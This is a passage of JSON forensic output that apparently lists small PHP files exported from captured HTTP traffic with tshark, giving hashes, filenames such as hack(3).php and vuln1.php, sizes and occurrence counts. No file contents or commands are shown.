        "sha1": "af086fd027d1572e44d0c6ccd4e4a220aab92499",
        "type": "http-exported-object",
        "sha256": "8bb36493ae8a1f0879bb84e20c4c2fc8a4737be858fcbe80390dcafe84706bef",
        "evidence": [],
        "filename": "q.php",
        "filenames": [
          "q.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-8fd1eecee54b8a032c32c00d",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "b96204034f5f30be73f02f83b863e296",
        "sha1": "a4b45568a85d3281f0cc5d1deec0b34143264fea",
        "type": "http-exported-object",
        "sha256": "968efc00e35199ff31b57763c07b10f7b03197f8c1b789ef42b13f8828a6cf85",
        "evidence": [],
        "filename": "avast.php",
        "filenames": [
          "avast.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-8d9939989042846f08826346",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "88d35ce00f7ecec9d6cf4242c1276586",
        "sha1": "05e2e16e7939a31705a72ab9bc5894f24ef88067",
        "type": "http-exported-object",
        "sha256": "b3917c59ece41f1e331c499cd527251b0d8ef6b9ae64b6dea951d58a8a6a1c12",
        "evidence": [],
        "filename": "hacly.php",
        "filenames": [
          "hacly.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-e2feb19c3b586614a22e6225",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "56478d2488d99cf8da96b7d3b2f6a679",
        "sha1": "69fb4bb51c410450a97d8e1f60abadd28ae3b9a0",
        "type": "http-exported-object",
        "sha256": "b5d199a29ed5574aca9a69f0c7d1fe5c1a6de1cda7f329bf4956aeef31f97e7a",
        "evidence": [],
        "filename": "db.php",
        "filenames": [
          "db.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-58ca4f8112f7299c139babda",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "92b7f80b75bd32e5cc86ef0059adb6d4",
        "sha1": "56cadda3036d92d6487b5b02ef6c405f9543fc04",
        "type": "http-exported-object",
        "sha256": "b9675fae78e1629a839003278047bd854656d31f0a3990d9bf192f9d81454a97",
        "evidence": [],
        "filename": "jsc(2).php",
        "filenames": [
          "jsc(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-39d16b755f8327ba11938123",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "8761f4b66b131f940400c427a0a75f52",
        "sha1": "50dea6dc566d62ab95767e16c0b5c9504c54a5f4",
        "type": "http-exported-object",
        "sha256": "c21ce16ee41a235a14a1cb8dde0712f14ecf2e509ca4708b5c3649936693fb72",
        "evidence": [],
        "filename": "Moxin.PHP",
        "filenames": [
          "Moxin.PHP"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-ed9c4521cd083f4b031a2adb",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "995a96d2be58c33ab7d058de6fc9c591",
        "sha1": "bdc490b176704b34ddad94a8bf17b99e89055bdb",
        "type": "http-exported-object",
        "sha256": "db1f3f66a80465a4d301fdcc8e0fe1eadc8df8686b51045d6761827ef1ab4d62",
        "evidence": [],
        "filename": "linkr.php",
        "filenames": [
          "linkr.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-21e8aecca3bbbb1aaed488a2",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "a700fed0ec842c91e28fc718067382dc",
        "sha1": "c28729d80c3ecb8ad1723f1d63cc2022a15b108f",
        "type": "http-exported-object",
        "sha256": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
        "evidence": [],
        "filename": "1(4).php",
        "filenames": [
          "1(4).php",
          "2.php",
          "core.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-92df000bb4b30c414033a12e",
        "occurrences": 3,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "df5ea6df47999fa9088d4d9635fe65f3",
        "sha1": "e8d08e576b5da783e71b9a7d600cfa17a79a8a70",
        "type": "http-exported-object",
        "sha256": "1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049",
        "evidence": [],
        "filename": "php.php",
        "filenames": [
          "php.php",
          "s.php",
          "w.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-18ebad42bede86e7492fcb2c",
        "occurrences": 3,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "db08bf60a4dcaeb95fa57acf3bf40335",
        "sha1": "3997d271d88b09ee3f532f7c9842f21db02fc9a8",
        "type": "http-exported-object",
        "sha256": "394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca",
        "evidence": [],
        "filename": "db.init.php",
        "filenames": [
          "db.init.php",
          "db__.init.php",
          "db_session.init.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-2166a9888c307aa8cc04d7be",
        "occurrences": 3,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "daed8bc57c8c7d4887b3d2e83988431f",
        "sha1": "17bdaa66e94719dbdde911a51eec6d6ca0d4cb2b",
        "type": "http-exported-object",
        "sha256": "39cad84b05c06b4b0349229379fe47079f0c20a7620ee3ef11180c293b5015dd",
        "evidence": [],
        "filename": "ak(1).php",
        "filenames": [
          "ak(1).php",
          "ip.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-d162b32a6938a66a18216ce1",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "bd94ea67daa4ad0773b0f5852ca325be",
        "sha1": "55db293d33cc84cf260e5d65efa84b087846964c",
        "type": "http-exported-object",
        "sha256": "3b690b1cc0bb875bb2dbb1a06c9ba84ede108e11e702b0582ebc0a29819edd24",
        "evidence": [],
        "filename": "toor.php",
        "filenames": [
          "toor.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-32b293af8b7544c88d0b1525",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f8214db3a81ec3339335ef1f448bebb6",
        "sha1": "95f1821f9ea444f22fe34737a09d69aca3a08fd3",
        "type": "http-exported-object",
        "sha256": "3ca4a88819724de1c262999827fc52028fe4879b08d51bb57067fee192caab43",
        "evidence": [],
        "filename": "yumo.php",
        "filenames": [
          "yumo.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-e91623a66d70aecbc072830b",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "bb7355d35239f7553a0fcb5e6c5f2d1b",
        "sha1": "dbd4f06bf956ce57f5e01ac618ccec9e951fe1a6",
        "type": "http-exported-object",
        "sha256": "46c7ad95f8964264d4b79d95fafd174bf93fb9b8b9823a128c22350c17d40d4c",
        "evidence": [],
        "filename": "ss.php",
        "filenames": [
          "ss.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-f007772694212c52d92765b9",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "161a003528fabcfd34de4251b650e1da",
        "sha1": "cb6c7811ffc44ee0781cfc5e982627079b59b366",
        "type": "http-exported-object",
        "sha256": "520876bf35fe63f19fb5a2e95b0b1bb71e1a3594ac8da078de4c4a67a162facb",
        "evidence": [],
        "filename": "erwa.php",
        "filenames": [
          "erwa.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-2e009e764986b6bdd5817227",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "813f7ad07e3a10c42edb8fe6362667bd",
        "sha1": "3dc081310b34bc725156639b7c8732c993e02804",
        "type": "http-exported-object",
        "sha256": "6e6144a1e8ea91916a7ee8d31572c4f718d3339999343368718edbcf7d600e80",
        "evidence": [],
        "filename": "hack(3).php",
        "filenames": [
          "hack(3).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-6d06377c83f29e563ebc02c4",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "29a2d3d6971cd841e710b770a31d7cd9",
        "sha1": "f189cd581fd1c88f8bae2b9bfcf1c921ccf3f0f5",
        "type": "http-exported-object",
        "sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
        "evidence": [],
        "filename": "hell(1).php",
        "filenames": [
          "hell(1).php",
          "hh.php",
          "pe.php",
          "she.php",
          "test(6).php",
          "vuln(1).php",
          "vuln1.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-799606870e4b08354502521c",
        "occurrences": 7,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "a1d7fdd8c66e75e09126959deff4e899",
        "sha1": "10cb8cf8366e86a9507494a97e85f2cf20fa7b1c",
        "type": "http-exported-object",
        "sha256": "8d949fb887bc7dc3f322aa6f52f458d62ae4e80660bcacec409f8dc2e0e13358",
        "evidence": [],
        "filename": "sean.php",
        "filenames": [
          "sean.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-5fb53be3e21f97bc45e38b54",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "021b53a617bceb25dbecf5fe6ed34d6f",
        "sha1": "0b4f13c58352c8806e55c3c68492a24aabf67e43",
        "type": "http-exported-object",
        "sha256": "91eb3ebce7c320b2150ecffc367a0f13ca2481538198d0bb667632a1212c9293",
        "evidence": [],
        "filename": "webslee.php",
        "filenames": [
          "webslee.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-7d419d387f2e1d1515983822",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "8af33da71d2dacd200088d7ce45ebb08",
        "sha1": "4d6abdc59398ddaf93f8ba8d6866e372f7e7510d",
        "type": "http-exported-object",
        "sha256": "9f2d0a3e26408ec0b0163681689396992c9d8b7bc8daf65666925476a0b6ded1",
        "evidence": [],
        "filename": "link.php",
        "filenames": [
          "link.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-a52481ef1809f67e09ec1346",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "b5c5cd39be8633527c58c849cdcb8a62",
        "sha1": "bbc506c95e6bed5a1009c80e385b8d8e622e78b9",
        "type": "http-exported-object",
        "sha256": "a5a5dccf0a857e1b590c708f686a5ec586d90dd6b22296d826ae544f99e61125",
        "evidence": [],
        "filename": "Ss.php",
        "filenames": [
          "Ss.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-e6be56c624474f0f1f13e0bc",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "6be3514790c4856036a3ee349f80cd30",
        "sha1": "4d999b2b6de42014f3e09399f97653373176c817",
        "type": "http-exported-object",
        "sha256": "b77a97b79ec939cac69275075255f14cf0136d18a5356a175612f5367b9d3455",
        "evidence": [],
        "filename": "pagefile.php",
        "filenames": [
          "pagefile.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-2c3102de8c928898563d4f25",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7fda9343162dd5c8ea775e99cf417c8b",
        "sha1": "342bc161781645b4138f4964cb007f299408ac21",
        "type": "http-exported-object",
        "sha256": "bd18f7078dd097ee2c16800851a78b8b8dc6f15700dc2f9ba568761b9d6e82c7",
        "evidence": [],
        "filename": "abak.php",
        "filenames": [
          "abak.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-383c5c5d7c539b136ef8a2b8",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "d4f3e19d8c4b7ef9061516ab3ada447f",
        "sha1": "8b6f0e722985ec9d139b5899061c9cc861ff6cf3",
        "type": "http-exported-object",
        "sha256": "c392f0b33c844ce01c1e49f41b76ff4afabd2aa9ba990aeede430cab19f9605e",
        "evidence": [],
        "filename": "infos.php",
        "filenames": [
          "infos.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-bb4a7307de1ac579c706106e",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "fa64dac08bd0802ff2730aacdb1b6560",
        "sha1": "8fc9361a2781c5cbb665982962eed9d5b2caf556",
        "type": "http-exported-object",
        "sha256": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
        "evidence": [],
        "filename": "boots.php",
        "filenames": [
          "boots.php",
          "error.php",
          "phpinfi.php",
          "uu.php",
          "xiao.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-8df611d9b8f74eacd7c17c05",
        "occurrences": 5,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "86a9ce588ae7c93849da9f5436b84749",
        "sha1": "aecd2eb1104c1607c579c95117416a9339b3bcdf",
        "type": "http-exported-object",
        "sha256": "f32f1906df0271cc992f71e3c11c03e6b32739b0d3c4056127181806d0b3da65",
        "evidence": [],
        "filename": "1(2).php",
        "filenames": [
          "1(2).php",
          "miao.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-4b494333822c2e82b8eb612f",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "86c40144d9d95e1285288955f1a0c36c",
        "sha1": "3b8a000d3079878c1861f3fa894dc03ea9ffa623",
        "type": "http-exported-object",
        "sha256": "f991a1a53ff96435a1f2d9a8fa9096da14be40631eda9f4db25752f5f6e93827",
        "evidence": [],
        "filename": "system.php",
        "filenames": [
          "system.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 22,
        "artifact_id": "artifact-2a6e986e89a0c5fcc8efee18",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 22,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "15fec151dabfe952d2caa54fa2fd856c",
        "sha1": "63b2efb3a47e87f61f053f51f281d35d1e5abefa",
        "type": "http-exported-object",
        "sha256": "002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7",
        "evidence": [],
        "filename": "sha.php",
        "filenames": [
          "sha.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-859e1791c2f141bcbe56d16a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "1153aecd355f9e09b4aff1802732d105",
        "sha1": "6e713fda76cc338bb6090e69ffcb3fbd1d3f1f3f",
        "type": "http-exported-object",
        "sha256": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
        "evidence": [],
        "filename": "520.php",
        "filenames": [
          "520.php",
          "jkl.php",
          "ljb.php",
          "qwqw.php",
          "www(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-2266a726c02740b873d3890e",
        "occurrences": 5,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "46735ba3a4896a4d0d1223bff9de809a",
        "sha1": "4af8d14d1998299b1662255a39942ab1851b8202",
        "type": "http-exported-object",
        "sha256": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
        "evidence": [],
        "filename": "win(1).php",
        "filenames": [
          "win(1).php",
          "win.php",
          "win1.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-e2301f8aa0fd5b78ed7e7309",
        "occurrences": 3,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "2db6bbd7e2795030ca3f6ab7b3d570f2",
        "sha1": "c60f9d1ad85dd7a6c2244d078846c35f3ddd70d2",
        "type": "http-exported-object",
        "sha256": "14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2",
        "evidence": [],
        "filename": "ruyi.php",
        "filenames": [
          "ruyi.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-9217efc18c62022e053ee257",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "912cb7c32ab7c17cf323f2876cbc236e",
        "sha1": "de4c2a64796bb587d4d0c5f47d46641f6d54efc5",
        "type": "http-exported-object",
        "sha256": "1564d3db2b42cec507a3359d8f89fc060035ab94819b5504cec1b7715358f770",
        "evidence": [],
        "filename": "erba.php",
        "filenames": [
          "erba.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
        "artifact_id": "artifact-0cc7a5d6ba9e6bd2e7d68d9f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 21,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "904ea1dedc5b105c0f57ff1191dfb6e0",
        "sha1": "ab81536fcf61897adeb39e027079b9e978a3b109",
        "type": "http-exported-object",
        "sha256": "201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a",
        "evidence": [],
        "filename": "3.php",
        "filenames": [
          "3.php",
          "4.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 21,
